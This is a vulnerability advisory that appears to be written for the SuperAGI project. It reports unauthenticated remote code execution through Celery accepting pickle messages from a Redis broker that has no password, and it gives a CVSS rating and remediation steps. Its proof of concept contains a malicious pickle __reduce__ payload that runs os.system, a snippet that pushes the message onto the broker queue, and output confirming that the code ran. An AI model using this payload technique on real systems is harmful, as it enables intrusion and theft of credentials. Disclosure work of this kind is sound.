[SECURITY] Remote Code Execution via Celery pickle deserialization over an unauthenticated Redis broker
Summary
SuperAGI's Celery worker is configured to accept the Python-pickle content type from its message
broker, and the broker (Redis) is shipped with no authentication. Any actor who can write a message
to the Redis broker, an exposed or SSRF-reachable Redis instance, or a co-tenant on the container
network, can place a message whose body is a malicious pickle. When the worker receives it, kombu
calls pickle.loads() on the body, and a crafted __reduce__ runs an arbitrary OS command as the
worker process. This is unauthenticated remote code execution on the SuperAGI backend host.
Vulnerability Details
Root cause
superagi/worker.py:
redis_url = get_config('REDIS_URL', 'super__redis:6379') # :23 (default, no password)
app = Celery("superagi", include=["superagi.worker"], ...)
app.conf.broker_url = "redis://" + redis_url + "/0" # :26
app.conf.result_backend = "redis://" + redis_url + "/0" # :27
app.conf.worker_concurrency = 10
app.conf.accept_content = ['application/x-python-serialize', 'application/json'] # :29 <-- accepts pickleaccept_content is the allow-list of content types the worker will deserialize. Including
application/x-python-serialize means kombu will pickle.loads() the body of any message it
pulls off the broker with that content type, not only the two tasks that declare
serializer='pickle' (summarize_resource :75, webhook_callback :106). Deserialization
happens during message reception, before task routing, so the pickle executes even if the task name
is unknown.
The broker is Redis with no requirepass. All shipped compose files use
image: redis/redis-stack-server:latest with no password set (docker-compose.yaml,
docker-compose-dev.yaml, docker-compose.image.example.yaml).
Attack vectors (any one places bytes on the broker)
- Exposed Redis. The compose files include a commented
- "6379:6379"block; operators who uncomment it (common for debugging/monitoring), or who run Redis on a reachable interface, expose an unauthenticated broker directly. - SSRF to Redis. Any SSRF primitive in the app or its agent tools that can send bytes to
super__redis:6379can push a Celery message (Redis speaks a line protocol that tolerates injected commands). - Container/network co-tenant. Any other workload on the
super_networkbridge reaches the unauthenticated broker and canLPUSHto the task queue.
Proof of Concept
poc/poc_celery_pickle_rce.py stands up a throwaway unauthenticated Redis (mirroring the shipped
config), replicates the worker's exact accept_content, has the attacker push a crafted pickle
message straight onto the broker queue via redis-py (no Celery client, only Redis write access),
runs the real Celery worker, and confirms code execution.
1. Malicious pickle (runs at pickle.loads time):
class Exploit:
def __reduce__(self):
return (os.system, ("touch /tmp/PWNED_superagi; id > /tmp/PWNED_superagi.id",))2. Attacker places it on the broker queue (Redis write only):
r.lpush("celery", json.dumps({
"body": base64.b64encode(pickle.dumps(Exploit())).decode(),
"content-type": "application/x-python-serialize", # worker accepts this
"content-encoding": "binary",
"headers": {"task": "superagi.worker.summarize_resource", "id": "...", ...},
"properties": {"body_encoding": "base64", "delivery_info": {"routing_key": "celery"}, ...},
}))3. The worker deserializes and executes. Confirmed output:
[*] unauthenticated Redis broker up on :6390 (no requirepass, as SuperAGI ships)
[*] attacker LPUSHed a pickle message onto broker queue 'celery' (no Celery client, just Redis)
[*] starting the real Celery worker (accept_content includes pickle)...
marker present : True (/tmp/PWNED_superagi_XXXX)
command output: uid=1000(kali) gid=1000(kali) groups=1000(kali),...
VERDICT: REMOTE CODE EXECUTION CONFIRMED - attacker pickle on the broker executed in the workerRun:
python3 poc/poc_celery_pickle_rce.pyImpact
| Vulnerability | Description |
|---|---|
| Remote code execution | Arbitrary OS command execution as the SuperAGI worker process (full agent-execution privileges: DB, tool credentials, API keys, filesystem). |
| Unauthenticated | No SuperAGI account or token needed; only write access to the broker. |
| Lateral movement | The worker holds DB and provider credentials; RCE here pivots to the wider deployment. |
CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H = 8.1 (AC:H reflects that Redis is not
port-exposed by default). With Redis exposed or SSRF-reachable the vector is
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8.
Same class as AutoGPT (CVE-2026-33233) and python-rq (rq#2389): a task broker that accepts pickle plus an unauthenticated store equals RCE.
Remediation
Immediate (one line): stop accepting pickle. In superagi/worker.py:
app.conf.accept_content = ['json'] # remove 'application/x-python-serialize'
app.conf.task_serializer = 'json'
app.conf.result_serializer = 'json'Then change the two serializer='pickle' tasks (summarize_resource :75, webhook_callback
:106) to pass JSON-serializable arguments instead of pickled objects.
Additional hardening:
- Set a strong
requirepasson Redis and put credentials inREDIS_URL(redis://:<password>@super__redis:6379/0); never ship an unauthenticated broker. - Bind Redis to the internal network only; never expose
6379to the host or public interfaces. - Enable Redis ACLs to restrict which clients can write to broker keys.
- Treat the broker as an untrusted boundary: JSON-only serialization removes code execution even if an attacker reaches the broker.
Source: TransformerOptimus/SuperAGI